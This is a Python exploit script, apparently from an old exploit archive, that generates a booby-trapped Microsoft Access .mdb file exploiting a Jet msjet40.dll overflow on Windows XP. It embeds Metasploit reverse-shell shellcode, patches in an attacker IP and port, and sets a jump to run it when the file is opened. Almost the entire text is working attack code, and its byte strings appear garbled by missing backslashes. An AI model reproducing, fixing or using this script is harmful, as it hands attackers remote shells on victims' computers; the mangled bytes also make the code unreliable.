##################################################################
#                                                                #
#        Microsoft Jet (msjet40.dll) Reverse Shell Exploit       #
#                                                                #
#                                                                #
#                                                                #
#                                                                #
#           Based on the exploit written by S.Pearson and        #
#              Python version by coded by Tal zeltzer	         #
#								 #
#                 XP/sp2 fixed version by Jean Luc 	         #
#                                                                #
##################################################################


import sys
import struct

# Addresses are compatible with Windows XP Service Pack 1 and Service Pack 2
# EIP = "x47xADx05x30";	# Use this one for MSAccess 2003 (jmp edx) 
EIP = "xF7x69x05x30";	# Use this one MSAccess 2002 (jmp edx) 
# EIP = "xFfxf7x07x30";	# Use this one MSAccess 2000 (jmp edx)

# Reverse Connect Shellcode (From metasploit)
Shellcode_p1  = "x31xc9x83xe9xb7xd9xeexd9x74x24xf4x5bx81x73x13x97"
Shellcode_p1 += "x25xaaxb5x83xebxfcxe2xf4x6bx4fx41xfax7fxdcx55x4a"
Shellcode_p1 += "x68x45x21xd9xb3x01x21xf0xabxaexd6xb0xefx24x45x3e"
Shellcode_p1 += "xd8x3dx21xeaxb7x24x41x56xa7x6cx21x81x1cx24x44x84"
Shellcode_p1 += "x57xbcx06x31x57x51xadx74x5dx28xabx77x7cxd1x91xe1"
Shellcode_p1 += "xb3x0dxdfx56x1cx7ax8exb4x7cx43x21xb9xdcxaexf5xa9"
Shellcode_p1 += "x96xcexa9x99x1cxacxc6x91x8bx44x69x84x57x41x21xf5"
Shellcode_p1 += "xa7xaexeaxb9x1cx55xb6x18x1cx65xa2xebxffxabxe4xbb"
Shellcode_p1 += "x7bx75x55x63xa6xfexccxe6xf1x4dx99x87xffx52xd9x87"
Shellcode_p1 += "xc8x71x55x65xffxeex47x49xacx75x55x63xc8xacx4fxd3"
Shellcode_p1 += "x16xc8xa2xb7xc2x4fxa8x4ax47x4dx73xbcx62x88xfdx4a"
Shellcode_p1 += "x41x76xf9xe6xc4x66xf9xf6xc4xdax7axdd" 
Shellcode_p2  = "xf1x76x23x54x02x4dx46x4cx3dx45xfdx4a"
Shellcode_p2 += "x41x4fxbaxe4xc2xdax7axd3xfdx41xccxddxf4x48xc0xe5"
Shellcode_p2 += "xcex0cx66x3cx70x4fxeex3cx75x14x6ax46x3dxb0x23x48"
Shellcode_p2 += "x69x67x87x4bxd5x09x27xcfxafx8ex01x1exffx57x54x06"
Shellcode_p2 += "x81xdaxdfx9dx68xf3xf1xe2xc5x74xfbxe4xfdx24xfbxe4"
Shellcode_p2 += "xc2x74x55x65xffx88x73xb0x59x76x55x63xfdxdax55x82"
Shellcode_p2 += "x68xf5xc2x52xeexe3xd3x4axe2x21x55x63x68x52x56x4a"
Shellcode_p2 += "x47x4dx5ax3fx93x7axf9x4ax41xdax7axb5"

# Header
mdbHeader  = "x00x01x00x00x53x74x61x6Ex64x61x72x64x20x4Ax65x74"
mdbHeader += "x20x44x42x00x01x00x00x00xB5x6Ex03x62x60x09xC2x55"
mdbHeader += "xE9xA9x67x72x40x3Fx00x9Cx7Ex9Fx90xFFx85x9Ax31xC5"
mdbHeader += "x79xBAxEDx30xBCxDFxCCx9Dx63xD9xE4xC3x9Fx46xFBx8A"
mdbHeader += "xBCx4ExB2x6DxECx37x69xD2x9CxFAxF2xC8x28xE6x27x20"
mdbHeader += "x8Ax60x60x02x7Bx36xC1xE4xDFxB1x43x62x13x43xFBx39"
mdbHeader += "xB1x33x00xF7x79x5BxA6x23x7Cx2AxAFxD0x7Cx99x08x1F"
mdbHeader += "x98xFDx1BxC9x5Ax6AxE2xF8x82x66x5Fx95xF8xD0x89x24"
mdbHeader += "x85x67xC6x1Fx27x44xD2xEExCFx65xEDxFFx07xC7x46xA1"
mdbHeader += "x78x16x0CxEDxE9x2Dx62xD4x54x06x00x00x34x2Ex30x00"


# Body
mdbBody  = "x00x00x80xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
mdbBody += "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
mdbBody += "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
mdbBody += "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
mdbBody += "x02x01xDEx0Bx00x00x00x00x90x90x90x90x59x06x00x00"
mdbBody += "x11x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00"
mdbBody += "x00x00x00x00x00x00x00x00x53x11x00x0Bx00x11x00x02"
mdbBody += "x00x00x00x02x00x00x00x00x06x00x00x01x06x00x00x00"
mdbBody += "x00x00x00x11x00x00x00x00x00x00x00x00x00x00x00x11"
mdbBody += "x00x00x00x00x00x00x00x0Cx59x06x00x00x09x00x03x00"
mdbBody += "x00x00x09x04x00x00x12x00x00x00x00x00x00x00x00x00"
mdbBody += "x0Cx59x06x00x00x08x00x02x00x00x00x09x04x00x00x12"
mdbBody += "x00x00x00x00x00x00x00x00x00x08x59x06x00x00x04x00"
mdbBody += "x01x00x00x00x09x04x00x00x13x00x00x00x00x00x0ax00"
mdbBody += "x08x00x08x59x06x00x00x05x00x01x00x00x00x09x04x00"
mdbBody += "x00x13x00x00x00x00x00x12x00x08x00x04x59x06x00x00"
mdbBody += "x07x00x02x00x00x00x09x04x00x00x13x00x00x00x00x00"
mdbBody += "x1Ax00x04x00x0Ax59x06x00x00x0Ax00x04x00x00x00x09"
mdbBody += "x04x00x00x12x00x00x00x00x00x00x00xFEx01x04x59x06"
mdbBody += "x00x00x00x00x00x00x00x00x09x04x00x00x13x00x00x00"
mdbBody += "x00x00x00x00x04x00x0Bx59x06x00x00x0Dx00x07x00x00"
mdbBody += "x00x09x04x00x00x12x00x00x00x00x00x00x00x00x00x0B"
mdbBody += "x59x06x00x00x10x00x0Ax00x00x00x09x04x00x00x12x00"
mdbBody += "x00x00x00x00x00x00x00x00x0Bx59x06x00x00x0Fx00x09"
mdbBody += "x00x00x00x09x04x00x00x12x00x00x00x00x00x00x00x00"
mdbBody += "x00x0Bx59x06x00x00x0Ex00x08x00x00x00x09x04x00x00"
mdbBody += "x12x00x00x00x00x00x00x00x00x00x0Ax59x06x00x00x02"
mdbBody += "x00x00x00x00x00x09x04x00x00x12x00x00x00x00x00x00"
mdbBody += "x00xFEx01x09x59x06x00x00x06x00x01x00x00x00x09x04"
mdbBody += "x00x00x32x00x00x00x00x00x00x00xFEx01x04x59x06x00"
mdbBody += "x00x01x00x00x00x00x00x09x04x00x00x13x00x00x00x00"
mdbBody += "x00x04x00x04x00x0Bx59x06x00x00x0Cx00x06x00x00x00"
mdbBody += "x09x04x00x00x12x00x00x00x00x00x00x00x00x00x09x59"
mdbBody += "x06x00x00x0Bx00x05x00x00x00x09x04x00x00x12x00x00"
mdbBody += "x00x00x00x00x00xFEx01x03x59x06x00x00x03x00x01x00"
mdbBody += "x00x00x09x04x00x00x13x00x00x00x00x00x08x00x02x00"
mdbBody += "x0Ex00x43x00x6Fx00x6Ex00x6Ex00x65x00x63x00x74x00"
mdbBody += "x10x00x44x00x61x00x74x00x61x00x62x00x61x00x73x00"
mdbBody += "x65x00x14x00x44x00x61x00x74x00x65x00x43x00x72x00"
mdbBody += "x65x00x61x00x74x00x65x00x14x00x44x00x61x00x74x00"
mdbBody += "x65x00x55x00x70x00x64x00x61x00x74x00x65x00x0Ax00"
mdbBody += "x46x00x6Cx00x61x00x67x00x73x00x16x00x46x00x6Fx00"
mdbBody += "x72x00x65x00x69x00x67x00x6Ex00x4Ex00x61x00x6Dx00"
mdbBody += "x65x00x04x00x49x00x64x00x04x00x4Cx00x76x00x0Ex00"
mdbBody += "x4Cx00x76x00x45x00x78x00x74x00x72x00x61x00x10x00"
mdbBody += "x4Cx00x76x00x4Dx00x6Fx00x64x00x75x00x6Cx00x65x00"
mdbBody += "x0Cx00x4Cx00x76x00x50x00x72x00x6Fx00x70x00x08x00"
mdbBody += "x4Ex00x61x00x6Dx00x65x00x0Ax00x4Fx00x77x00x6Ex00"
mdbBody += "x65x00x72x00x10x00x50x00x61x00x72x00x65x00x6Ex00"
mdbBody += "x74x00x49x00x64x00x16x00x52x00x6Dx00x74x00x49x00"
mdbBody += "x6Ex00x66x00x6Fx00x4Cx00x6Fx00x6Ex00x67x00x18x00"
mdbBody += "x52x00x6Dx00x74x00x49x00x6Ex00x66x00x6Fx00x53x00"
mdbBody += "x68x00x6Fx00x72x00x74x00x08x00x54x00x79x00x70x00"
mdbBody += "x65x00x83x07x00x00x01x00x01x02x00x01xFFxFFx00xFF"
mdbBody += "xFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFF"
mdbBody += "x00xFFxFFx00x10x06x00x00x07x00x00x00x00x00x00x00"
mdbBody += "x81x00x00x00x00x00x83x07x00x00x00x00x01xFFxFFx00"
mdbBody += "xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFF"
mdbBody += "xFFx00xFFxFFx00xFFxFFx00x11x06x00x00x08x00x00x00"
mdbBody += "x00x00x00x00x81x00x00x00x00x00x59x06x00x00x01x00"
mdbBody += "x00x00x01x00x00x00x00xFFxFFxFFxFFx00x00x00x00x04"
mdbBody += "x04x01x00x00x00x00x59x06x00x00x00x00x00x00x00x00"
mdbBody += "x00x00x00xFFxFFxFFxFFx00x00x00x00x04x04x00x00x00"
mdbBody += "x00x00"

# Body2
mdbBody2  = "x02x01xA9x0Ex00x00x00x00x4Fx01x00x00x59x06x00x00"
mdbBody2 += "x34x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00"
mdbBody2 += "x00x00x00x00x00x00x00x00x53x04x00x01x00x04x00x01"
mdbBody2 += "x00x00x00x01x00x00x00x12x06x00x00x13x06x00x00x00"
mdbBody2 += "x00x00x00x11x00x00x00x00x00x00x00x04x59x06x00x00"
mdbBody2 += "x02x00x01x00x00x00x09x04x00x00x13x00x00x00x00x00"
mdbBody2 += "x04x00x04x00x01x59x06x00x00x03x00x01x00x00x00x09"
mdbBody2 += "x04x00x00x13x00x00x00x00x00x00x00x01x00x04x59x06"
mdbBody2 += "x00x00x00x00x00x00x00x00x09x04x00x00x13x00x00x00"
mdbBody2 += "x00x00x00x00x04x00x09x59x06x00x00x01x00x00x00x00"
mdbBody2 += "x00x09x04x00x00x32x00x00x00x00x00x07x00xFEx01x06"
mdbBody2 += "x00x41x00x43x00x4Dx00x18x00x46x00x49x00x6Ex00x68"
mdbBody2 += "x00x65x00x72x00x69x00x74x00x61x00x62x00x6Cx00x65"
mdbBody2 += "x00x10x00x4Fx00x62x00x6Ax00x65x00x63x00x74x00x49"
mdbBody2 += "x00x64x00x06x00x53x00x49x00x44x00x83x07x00x00x00"
mdbBody2 += "x00x01xFFxFFx00xFFxFFx00xFFxFFx09xFFxFFx00xFFxFF"
mdbBody2 += "x00xFFxFFx00xFFxFFx04xFFxFFx12xFFxFFx00x14x06x00"
mdbBody2 += "x00x09x00x00x00x41x00x74x00x88x00x00x00x00x00x59"
mdbBody2 += "x06x00x00x00x00x00x00x00x00x00x00x00xFFxFFxFFxFF"
mdbBody2 += "x00x00x00x00x04x04x00x00x00x00x00x10x00x4Fx00x62"
mdbBody2 += "x00x6Ax00x65x00x63x00x74x00x49x00x64x00xFFxFFx00";

ShellJump  = "x14x00" 	# Expanded ID Parameter (20 bytes) to accommodate this code
ShellJump += "x83xC6x08" 	# Add ESI,8 (Pointer to our shellcode)
ShellJump += "xFFxE6" 	# Call ESI (Execute Shellcode)
ShellJump += "x90x90x90x90"
ShellJump += "x90x90x90x90" # Not used
ShellJump += "x90x90x90";

VulnerableParameter  = "x18x00x50x00"
VulnerableParameter += "x61x00x72x00"
VulnerableParameter += "x65x00x6Ex00"
VulnerableParameter += "x74x00x49x00"
VulnerableParameter += "x64x00x4Ex00"
VulnerableParameter += "x61x00x6Dx00"
VulnerableParameter += "x65x00x00x01" # 0100 will result in EDX pointing to a variable containing our MSAccess offset
VulnerableParameter += "x04x06x00x00"
VulnerableParameter += "x05x90"	# x06



if (len(sys.argv) != 4):
	print "nUsage: " + sys.argv[0] + " <Attacker IP> <Attacker Port> <Output File>n"
	print "##################################################################"
	print "#                                                                #"
	print "#        Microsoft Jet (msjet40.dll) Reverse Shell Exploit       #"
	print "#                                                                #"
	print "#                                                                #"
	print "#           Based on the exploit written by S.Pearson and        #"
	print "#              Python version by coded by Tal zeltzer	        #"
	print "#								#"
	print "#                 XP/sp2 fixed version by Jean Luc 	        #"
	print "#                                                                #"
	print "##################################################################"
	sys.exit(0)



i=0
xorTable = [0xB5,0xAA,0x25,0x97]
Shellcode  = Shellcode_p1

ipAddress = sys.argv[1].split(".",4);
port = struct.pack("h",int(sys.argv[2]));

while(i<4):
	Shellcode += chr(int(ipAddress[i]) ^ xorTable[3-i])
	i+=1;

Shellcode += "xf1x4d"
Shellcode += chr(struct.unpack("B",port[1])[0] ^ 0xAA)
Shellcode += chr(struct.unpack("B",port[0])[0] ^ 0xB5)
Shellcode += Shellcode_p2

mdb  = mdbHeader
mdb += "x41" * 7968
mdb += mdbBody
mdb += ShellJump
# mdb += struct.pack("<L",ReturnAddress)
mdb += EIP 
mdb += VulnerableParameter
mdb += Shellcode + "x90" * (3094 - len(Shellcode))
mdb += mdbBody2
mdb += "x00" * (94208 -len(mdb))

fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb)
fileOut.close()

# www.Syue.com [2005-04-22]